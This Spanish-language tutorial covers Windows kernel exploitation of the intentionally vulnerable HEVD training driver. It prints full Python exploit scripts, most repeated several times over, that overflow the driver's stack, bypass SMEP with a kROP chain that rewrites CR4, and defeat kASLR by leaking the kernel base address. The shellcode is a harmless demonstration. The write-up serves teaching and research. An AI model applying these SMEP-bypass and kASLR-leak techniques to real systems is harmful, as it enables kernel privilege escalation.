Explotación local vs. remota
Cuando explotábamos Vulnserver, hacíamos explotación remota de una aplicación en el espacio de usuario. Ese tipo de entorno tiene ciertas restricciones específicas; las más notorias son el espacio limitado del buffer para insertar nuestro payload, las restricciones de caracteres y ASLR(Address Space Layout Randomization).
Cuando explotamos el kernel de Windows, se asume que ya tenemos acceso local sin privilegios a la máquina objetivo. En ese entorno, esas restricciones ya no son un problema mayor. Por ejemplo, el problema del espacio del buffer y las restricciones de caracteres se sortean fácilmente reservando memoria dinámica con VirtualAlloc(), moviendo el payload en crudo a ese buffer y sobrescribiendo EIP con el puntero devuelto.
ASLR y kASLR (Kernel ASLR) tampoco son un problema, porque funcionan aleatorizando la memoria base de los módulos en cada reinicio, pero, si tenemos acceso local, hay funciones en la API de Windows que revelan la dirección base actual del kernel.
Sin embargo, otras protecciones entran en escena al intentar explotar a nivel de kernel, como DEP, SMEP, CFG, etc. Seguramente nos toparemos con algunas de ellas más adelante. Mantente atento.
Explotación del desbordamiento de pila
Dejamos nuestro artículo anterior realizando un DoS a la máquina objetivo, en el que usamos el siguiente exploit:
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
from infi.wioctl import DeviceIoControl
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SIZE = 3000
PAYLOAD = (
b'A' * SIZE
)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
from infi.wioctl import DeviceIoControl
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SIZE = 3000
PAYLOAD = (
b'A' * SIZE
)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
from infi.wioctl import DeviceIoControl
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SIZE = 3000
PAYLOAD = (
b'A' * SIZE
)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
from infi.wioctl import DeviceIoControl
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SIZE = 3000
PAYLOAD = (
b'A' * SIZE
)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)Y pudimos sobrescribir EIP con el valor 41414141. Si vamos a hacer algo más interesante, debemos empezar por localizar el offset exacto en el que se sobrescribe EIP. Igual que en cualquier otro proceso de explotación en el espacio de usuario, podemos crear un patrón cíclico para encontrar ese offset. Podemos usar mona para ello:

Luego, actualizamos nuestro exploit:
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
from infi.wioctl import DeviceIoControl
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
PAYLOAD = (
b'<insert pattern here>'
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
from infi.wioctl import DeviceIoControl
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
PAYLOAD = (
b'<insert pattern here>'
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
from infi.wioctl import DeviceIoControl
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
PAYLOAD = (
b'<insert pattern here>'
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
from infi.wioctl import DeviceIoControl
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
PAYLOAD = (
b'<insert pattern here>'
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
Y lo comprobamos:

Bien, mona descubrió que EIP se sobrescribe a partir del byte 2080.
Ahora, con fines ilustrativos, crearemos un shellcode sencillo para hacer EAX = 0xdeadbeef. Luego debemos copiarlo en una ubicación generada dinámicamente creada por VirtualAlloc(). El valor de retorno de VirtualAlloc()es un puntero que se colocará a partir del byte 2081 de nuestro buffer para desviar el flujo de ejecución hacia nuestro shellcode.
Actualicemos nuestro exploit con eso:
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
import struct
from ctypes import windll, c_int
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SHELLCODE = (
b'\xb8\xef\xbe\xad\xde' +
b'\xcc'
)
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0),
c_int(len(SHELLCODE)),
c_int(0x3000),
c_int(0x40)
)
KERNEL32.RtlMoveMemory(
c_int(RET_PTR),
SHELLCODE,
c_int(len(SHELLCODE))
)
PAYLOAD = (
b'A' * 2080 +
struct.pack('<L', RET_PTR)
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
import struct
from ctypes import windll, c_int
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SHELLCODE = (
b'\xb8\xef\xbe\xad\xde' +
b'\xcc'
)
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0),
c_int(len(SHELLCODE)),
c_int(0x3000),
c_int(0x40)
)
KERNEL32.RtlMoveMemory(
c_int(RET_PTR),
SHELLCODE,
c_int(len(SHELLCODE))
)
PAYLOAD = (
b'A' * 2080 +
struct.pack('<L', RET_PTR)
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
import struct
from ctypes import windll, c_int
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SHELLCODE = (
b'\xb8\xef\xbe\xad\xde' +
b'\xcc'
)
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0),
c_int(len(SHELLCODE)),
c_int(0x3000),
c_int(0x40)
)
KERNEL32.RtlMoveMemory(
c_int(RET_PTR),
SHELLCODE,
c_int(len(SHELLCODE))
)
PAYLOAD = (
b'A' * 2080 +
struct.pack('<L', RET_PTR)
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
import struct
from ctypes import windll, c_int
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SHELLCODE = (
b'\xb8\xef\xbe\xad\xde' +
b'\xcc'
)
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0),
c_int(len(SHELLCODE)),
c_int(0x3000),
c_int(0x40)
)
KERNEL32.RtlMoveMemory(
c_int(RET_PTR),
SHELLCODE,
c_int(len(SHELLCODE))
)
PAYLOAD = (
b'A' * 2080 +
struct.pack('<L', RET_PTR)
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)Si todo sale como se espera, EAX tendrá el valor 0xdeadbeef y la ejecución se detendrá en el breakpoint \xccque insertamos. Comprobémoslo:

¡Ay!
Nuestro exploit fue frustrado y se disparó el error ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY cuando la primera instrucción de nuestro shellcode intentaba ejecutarse. Eso significa que SMEP sí protegió el kernel.
SMEP: Supervisor Mode Execution Prevention
Hay un concepto llamado Protection rings (anillos de protección) que los sistemas operativos usan para delimitar capacidades y ofrecer tolerancia a fallos, definiendo niveles de privilegios. Las versiones del sistema operativo Windows usan solo 2 niveles de privilegio actuales (CPL, Current Privilege Levels): 0 y 3. Los niveles CPL también se conocen como anillos (rings). CPL0 o ring-0 es donde se ejecuta el kernel, y CPL3 o ring-3 es donde se realizan las instrucciones en modo usuario.
SMEP es una protección introducida a nivel de CPU que impide que el kernel ejecute código perteneciente a ring-3.
La excepción ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY se disparó porque HEVD se ejecuta en ring-0 y, tras sobrescribir EIP, intentaba ejecutar las instrucciones de nuestro shellcode, que estaba reservado en ring-3.
Técnicamente, SMEP no es más que un bit en un registro de control de la CPU, específicamente el bit 20 del registro de control CR4:

Para evadir SMEP, debemos invertir ese bit (ponerlo en 0). Como se ve, el valor actual de CR4 con SMEP habilitado es 001406e9. Veamos cuál sería el valor tras invertir el bit 20:

Sería 000406e9. Necesitamos colocar ese valor en CR4 para apagar SMEP.
Pero ¿cómo hacerlo si no se nos permite ejecutar instrucciones en ring-3? ¡ROP viene al rescate! Necesitamos ejecutar una cadena ROP con instrucciones que ya están en modo kernel. En ring-0, a ROP se le suele llamar kROP. Entonces necesitamos ejecutar una cadena kROP y cambiar el valor de CR4. Con eso deberíamos poder hacer EAX = 0xdeadbeef.
En nt!KeFlushCurrentTb encontramos un gadget que establece CR4 a partir del valor que tenga EAX: mov cr4, eax # ret.
Ahora necesitamos calcular el offset de ese gadget ROP desde el inicio del módulo nt:

El offset es 0011f8de. Lo usaremos más adelante.
Ahora necesitamos encontrar un gadget pop eax # ret. Podemos encontrar uno en nt!_MapCMDevicePropertyToNtProperty+0x39:

Y el offset desde el inicio del módulo nt es 0002bbef:

Debemos recordar rellenar nuestra cadena ROP con 8 bytes, porque el epílogo de la función desbordada usa ret 8, que retornará al valor apuntado por ESP y luego sacará 8 bytes de la pila:

¡Con eso ya podemos deshabilitar SMEP!
Derrotando kASLR
Ya tenemos toda la información necesaria para crear la cadena ROPque deshabilita SMEP. Sin embargo, debemos lidiar con el ASLR del kernel. Como mencioné antes, hay varias funciones que pueden ejecutarse en modo usuario (ring-3) y que dan información de direcciones en ring-0 Las más usadas son NtQuerySystemInformation() y EnumDeviceDrivers(). Esta última es la más sencilla. Con el siguiente código puedes obtener la dirección base del kernel:
import sys
from ctypes import windll, c_ulong, byref, sizeof
PSAPI = windll.psapi
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')import sys
from ctypes import windll, c_ulong, byref, sizeof
PSAPI = windll.psapi
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')import sys
from ctypes import windll, c_ulong, byref, sizeof
PSAPI = windll.psapi
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')import sys
from ctypes import windll, c_ulong, byref, sizeof
PSAPI = windll.psapi
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')Y lo comprobamos:

Como puedes ver, coincide perfectamente con la dirección reportada por WinDBG:

¡Con eso podemos actualizar nuestro exploit, agregando la cadena ROP para deshabilitar SMEP, usando los offsets de los gadgets y el valor devuelto por esa función para obtener direcciones absolutas, derrotando kASLR!
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
SHELLCODE = (
b'\xb8\xef\xbe\xad\xde' +
b'\xcc'
)
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0),
c_int(len(SHELLCODE)),
c_int(0x3000),
c_int(0x40)
)
KERNEL32.RtlMoveMemory(
c_int(RET_PTR),
SHELLCODE,
c_int(len(SHELLCODE))
)
ROP_CHAIN = (
struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x000406e9) +
struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +
struct.pack('<L', RET_PTR)
)
PAYLOAD = (
b'A' * 2080 +
ROP_CHAIN
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
SHELLCODE = (
b'\xb8\xef\xbe\xad\xde' +
b'\xcc'
)
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0),
c_int(len(SHELLCODE)),
c_int(0x3000),
c_int(0x40)
)
KERNEL32.RtlMoveMemory(
c_int(RET_PTR),
SHELLCODE,
c_int(len(SHELLCODE))
)
ROP_CHAIN = (
struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x000406e9) +
struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +
struct.pack('<L', RET_PTR)
)
PAYLOAD = (
b'A' * 2080 +
ROP_CHAIN
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
SHELLCODE = (
b'\xb8\xef\xbe\xad\xde' +
b'\xcc'
)
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0),
c_int(len(SHELLCODE)),
c_int(0x3000),
c_int(0x40)
)
KERNEL32.RtlMoveMemory(
c_int(RET_PTR),
SHELLCODE,
c_int(len(SHELLCODE))
)
ROP_CHAIN = (
struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x000406e9) +
struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +
struct.pack('<L', RET_PTR)
)
PAYLOAD = (
b'A' * 2080 +
ROP_CHAIN
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""
import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
SHELLCODE = (
b'\xb8\xef\xbe\xad\xde' +
b'\xcc'
)
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0),
c_int(len(SHELLCODE)),
c_int(0x3000),
c_int(0x40)
)
KERNEL32.RtlMoveMemory(
c_int(RET_PTR),
SHELLCODE,
c_int(len(SHELLCODE))
)
ROP_CHAIN = (
struct.pack('<L', BASE_ADDRESS + 0x0002bbef) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x42424242) +
struct.pack('<L', 0x000406e9) +
struct.pack('<L', BASE_ADDRESS + 0x0011f8de) +
struct.pack('<L', RET_PTR)
)
PAYLOAD = (
b'A' * 2080 +
ROP_CHAIN
)
SIZE = len(PAYLOAD)
HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)Se ve bien. Ahora lo comprobamos:

Y este es el contenido del registro CR4:

¡Como puedes ver, pudimos deshabilitar SMEP e hicimosEAX = 0xdeadbeef!
Conclusiones
En esta publicación pudimos ejecutar un shellcode que hizo EAX = 0xdeadbeef. También evadimos la protección SMEP usando una cadena kROP y derrotamos kASLR filtrando la dirección base del kernel desde ring-3. Sin embargo, todavía nos falta obtener una shell privilegiada en este sistema, lo cual se cubrirá en el próximo artículo.